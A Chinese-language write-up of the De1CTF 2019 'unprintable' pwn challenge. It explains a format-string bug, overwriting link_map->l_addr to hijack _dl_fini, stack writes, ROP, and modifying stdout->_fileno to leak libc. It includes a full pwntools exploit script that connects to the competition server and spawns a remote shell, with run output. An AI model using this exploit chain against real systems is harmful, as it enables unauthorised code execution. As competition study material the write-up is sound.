De1CTF2019 pwn unprintable writeup

TOC

  1. 1. 安全防护
  2. 2. 溢出点
  3. 3. 思路
    1. 3.1. 修改stdout
  4. 4. 脚本

原先从没见过,所以这里分开来写。靶机环境是glibc-2.23,该程序漏洞十分依赖其对应的libc。

源程序和相关文件:unprintable.zip

安全防护

ex@Ex:~/de1ctf/unprintable$ checksec unprintable
[*] '/home/ex/de1ctf/unprintable/unprintable'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

溢出点

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char v3; // [rsp+0h] [rbp-10h]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to Ch4r1l3's printf test");
printf("This is your gift: %p\n", &v3);
close(1);
read(0, buf, 0x1000uLL);
printf(buf, buf);
exit(0);
}

标准的格式化漏洞。关闭了输出流。

但是buf并不在栈上,所以我们只能利用栈上的地址。

通过查看栈布局,我们能获得一些信息。

Breakpoint *0x4007C1
pwndbg> stack
00:0000│ rsp 0x7fffffffe440 —▸ 0x7fffffffe530 ◂— 0x1
01:0008│ 0x7fffffffe448 ◂— 0xc6767873c5fdf100
02:0010│ rbp 0x7fffffffe450 —▸ 0x4007d0 (__libc_csu_init) ◂— push r15
03:0018│ 0x7fffffffe458 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
04:0020│ 0x7fffffffe460 ◂— 0x1
05:0028│ 0x7fffffffe468 —▸ 0x7fffffffe538 —▸ 0x7fffffffe790 ◂— '/home/ex/de1ctf/unprintable/unprintable.bak'
06:0030│ 0x7fffffffe470 ◂— 0x1f7ffcca0
07:0038│ 0x7fffffffe478 —▸ 0x400726 (main) ◂— push rbp
pwndbg>
08:0040│ 0x7fffffffe480 ◂— 0x0
09:0048│ 0x7fffffffe488 ◂— 0x5a2816c57e0bfdf4
0a:0050│ 0x7fffffffe490 —▸ 0x400630 (_start) ◂— xor ebp, ebp
0b:0058│ 0x7fffffffe498 —▸ 0x7fffffffe530 ◂— 0x1
0c:0060│ 0x7fffffffe4a0 ◂— 0x0
... ↓
0e:0070│ 0x7fffffffe4b0 ◂— 0xa5d7e9bab96bfdf4
0f:0078│ 0x7fffffffe4b8 ◂— 0xa5d7f900de7bfdf4
pwndbg>
10:0080│ 0x7fffffffe4c0 ◂— 0x0
... ↓
13:0098│ 0x7fffffffe4d8 —▸ 0x7fffffffe548 —▸ 0x7fffffffe7bc ◂— 'LC_PAPER=zh_CN.UTF-8'
14:00a0│ 0x7fffffffe4e0 —▸ 0x7ffff7ffe168 ◂— 0x0
15:00a8│ 0x7fffffffe4e8 —▸ 0x7ffff7de77db (_dl_init+139) ◂— jmp 0x7ffff7de77b0
16:00b0│ 0x7fffffffe4f0 ◂— 0x0

在运行_start之前,先运行的是一些链接库的_dl_init,通过查看栈发现,其恰好残余下了一个很有用的指针0x7ffff7ffe168,他就是_rtld_global._dl_ns[0]._ns_loaded,这个是我们程序的link map,对程序而言至关重要。

pwndbg> p _rtld_global._dl_ns[0]._ns_loaded
$1 = (struct link_map *) 0x7ffff7ffe168

该程序的溢出点主要在于,但我们修改了_rtld_global._dl_ns[0]._ns_loaded的值,则在执行exit函数时便会发生变数。

程序在退出时要完成内存的释放类似的工作,exit函数保留了这样的思想,在退出是会调用_dl_fini函数来执行各文件的fini操作。而执行情况如下:

代码来自:/glibc/glibc-2.23/elf/dl-fini.c:128

internal_function
_dl_fini (void)
{
...
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
...
}

其中变量l就是我们的_rtld_global._dl_ns[0]._ns_loaded,原本l->l_addr为0,则array的值就是正常的,但是l->l_addr不为0的话则会使其发生偏移,我们则可以使其直接偏移到bss段上,使其直接运行bss段的地址,也即是buf,则我们就控制了程序流。并且l->l_addr正好位于l的首部,所以我们可以直接利用printf修改其值进行偏移。它的偏移对于第一次printf而言就是26

思路

由于printf不能使用%$n在一次printf中进行链接地址传递操作,所以我们只能将其分成多步,这样才能正常运行。

  1. 第一次printf将栈地址指向第二次printf的返回地址,由于程序给了栈地址,我们可以直接进行计算。
last = (printf_ret - 904 + 0x10000) & 0xffff
payload ='%904c%26$ln' + '%' + str(last) + 'c%11$hn'
sh.sendline(payload.ljust(0x100, '\0') + p64(elf.symbols['main']) + '\0')
  1. 第二次则可以直接利用%$n修改第一次留下的地址,直接修改该printf的返回地址,使得我们可以不断调用readprintf函数。
  2. 然后就可以多次使用printf完成链接地址操作,从而实现栈的任意写。
def load(position, ch):
time.sleep(interval)
last = (payload_addr+position - 163 + 0x10000) & 0xffff
temp = '%163c%75$hhn' + '%' + str(last) + 'c%21$hn\0'
sh.sendline(temp)

# pause()
time.sleep(interval)
last = (ord(ch) - 163 + 0x100) & 0xff
temp = '%163c%75$hhn' + '%' + str(last) + 'c%16$hhn\0'
sh.sendline(temp)

163就是0xa3,也即是下面的地址,其主要作用是方便复用且不会改变栈地址。

.text:00000000004007A3                 mov     edx, 1000h      ; nbytes
.text:00000000004007A8 mov esi, offset buf ; buf
.text:00000000004007AD mov edi, 0 ; fd
.text:00000000004007B2 call read
.text:00000000004007B7 mov edi, offset buf ; format
.text:00000000004007BC mov eax, 0
.text:00000000004007C1 call printf
.text:00000000004007C6 mov edi, 0 ; status
.text:00000000004007CB call exit

由于 %$n ,最多只支持 0x2000 ,所以栈地址的低字节必须要小于0x2000才行。

if((printf_ret & 0xffff) > 0x2000):
raise Exception()

注意:对于靶机而言,当payload过长时会读取失败,导致执行错误。但是本地不会,我自己搭的服务器也不会,至于为什么靶机为什么会这样就不得而知了,所以写payload的时候应进行对payload进行压缩,同时要保证有足够的栈空间来执行函数。

写完栈后将printf的返回地址改成ret地址,则可以直接利用之前装载的内容进行rop了。

# 0x00000000004005d1 : ret 
sh.send('%1489c%75$hn\0'.ljust(0x80+0x18, 'f') + p64(0x0000000004007A3))

由于不能直接用rop修改rdx的值,而且调用printf后,rdx的值会被污染导致read函数无法使用,所以这里我直接利用0x0000000004007A3地址来修改rdx寄存器的值,由于现在rsp已经指向了buf,所以我们可以直接修改read函数的返回值,并在后面加上ROP链。

payload = '/bin/sh 1>&0\0'.ljust(0x80 + 0x18, 'h') + flat(layout2).ljust(0x120 - 0x98, 'g') + flat(layout3)

上面代码中layout2则正好可以踩到read函数的返回地址。

可以写栈了之后便是正常的ROP。

修改stdout

网上大部分大佬的思路都是利用残余的libc地址来找syscall指令,这里我不太喜欢这样,我的做法是直接修改stdout->_fileno,由于程序只关闭了文件描述符1,却没有关闭文件描述符0,所以我们可以修改stdout的文件描述符_fileno为0,则可以使得程序再次拥有了输出的能力,再用其输出got地址,执行system函数。

由于文件描述符1被关闭,只要我们在执行system函数时将其重定向到0,则可以继续使用。也即是/bin/sh 1>&0

利用的stdout地址是之前栈执行留下的地址,只要我们构造ROP然后进行部分覆盖就可以修改stdout->_fileno的值。

其中要进行多次栈转移,多调试几次就好了,其实也并不复杂。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''

'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './unprintable'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('45.32.120.212', 9999)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/glibc/glibc-2.23/debug_x64/lib/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
# b *0x4007C1
# b *0x000000000040082d
# b *0x4005F0
# c
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

sh.recvuntil('gift: ')
stack_addr = int(sh.recvline(), 16)
log.info('stack_addr: ' + hex(stack_addr))

printf_ret = stack_addr - 0x138
log.info('printf_ret: ' + hex(printf_ret))

payload_addr = printf_ret + 8
log.info('payload_addr: ' + hex(payload_addr))

stdout_addr = stack_addr - 0x1c0
log.info('stdout_addr: ' + hex(stdout_addr))

interval = 0.5

if((printf_ret & 0xffff) > 0x2000):
raise Exception()


last = (printf_ret - 904 + 0x10000) & 0xffff
payload ='%904c%26$ln' + '%' + str(last) + 'c%11$hn'
sh.sendline(payload.ljust(0x100, '\0') + p64(elf.symbols['main']) + '\0')

def load(position, ch):
time.sleep(interval)
last = (payload_addr+position - 163 + 0x10000) & 0xffff
temp = '%163c%75$hhn' + '%' + str(last) + 'c%21$hn\0'
sh.sendline(temp)

# pause()
time.sleep(interval)
last = (ord(ch) - 163 + 0x100) & 0xff
temp = '%163c%75$hhn' + '%' + str(last) + 'c%16$hhn\0'
sh.sendline(temp)

# pause()

stack_addr = 0x601060 + 0x80
buf_addr = 0x601060

layout1 = [
0x000000000040082d, # : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
stack_addr,
]

payload = flat(layout1)
for i in range(len(payload)):
load(i, payload[i])

# 0x0000000000400833 : pop rdi ; ret
pop_rdi_ret = 0x0000000000400833
# 0x0000000000400831 : pop rsi ; pop r15 ; ret
pop_rsi_r15_ret = 0x0000000000400831
ret_addr = 0x00000000004005d1

# 0x00000000004005d1 : ret
sh.send('%1489c%75$hn\0'.ljust(0x80+0x18, 'f') + p64(0x0000000004007A3))
time.sleep(interval)

# stack_addr
layout2 = [
pop_rdi_ret,
0,
pop_rsi_r15_ret,
stdout_addr - 8 * 4,
0,
elf.plt['read'],

pop_rdi_ret,
0,
pop_rsi_r15_ret,
stdout_addr + 8,
0,
elf.plt['read'],

pop_rdi_ret,
0,

0x000000000040082d, # : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
stdout_addr - 8 * 4,
]

# stack_addr + 0x200
layout3 = [
0,0,0,
ret_addr,

pop_rdi_ret,
elf.got['puts'],
elf.plt['puts'],

pop_rdi_ret,
0,
pop_rsi_r15_ret,
stack_addr + 0x400,
0,
elf.plt['read'],

0x000000000040082d, # : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
stack_addr + 0x400,
]

# pause()
payload = '/bin/sh 1>&0\0'.ljust(0x80 + 0x18, 'h') + flat(layout2).ljust(0x120 - 0x98, 'g') + flat(layout3)

time.sleep(interval)
sh.send(payload)

# pause()
time.sleep(interval)
# layout 5
sh.send(p64(0) * 3 + p64(pop_rsi_r15_ret) + p8(0x90))
time.sleep(interval)
sh.send(p64(0) + p64(elf.plt['read']) + p64(0x000000000040082d) + p64(buf_addr + 0x120))

# pause()
time.sleep(interval)

# pause()
# modify stdout->_fileno
sh.send(p8(0))

time.sleep(interval)

result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))

layout6 = [
0,0,0,
pop_rdi_ret,
buf_addr,
libc_addr +libc.symbols['system'],

pop_rdi_ret,
0,
libc_addr + libc.symbols['exit'],
]
sh.send(flat(layout6))

sh.interactive()
clear()

运行实例:

ex@pwntools23:~/de1ctf/unprintable$ ./exp.py 
[+] Opening connection to 45.32.120.212 on port 9999: Done
[*] '/home/ex/de1ctf/unprintable/unprintable'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/ex/de1ctf/unprintable/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
list index out of range
[*] stack_addr: 0x7ffc22c31a80
[*] printf_ret: 0x7ffc22c31948
[*] payload_addr: 0x7ffc22c31950
[*] stdout_addr: 0x7ffc22c318c0
[+] libc_addr: 0x7fd06429d000
[*] Switching to interactive mode
$ ls -l /bin
total 328
-rwxr-x--- 1 0 1000 52080 Jul 12 11:13 cat
-rwxr-x--- 1 0 1000 126584 Jul 12 11:13 ls
-rwxr-x--- 1 0 1000 154072 Jul 12 11:13 sh
$ ls
bin
dev
flag
lib
lib32
lib64
unprintable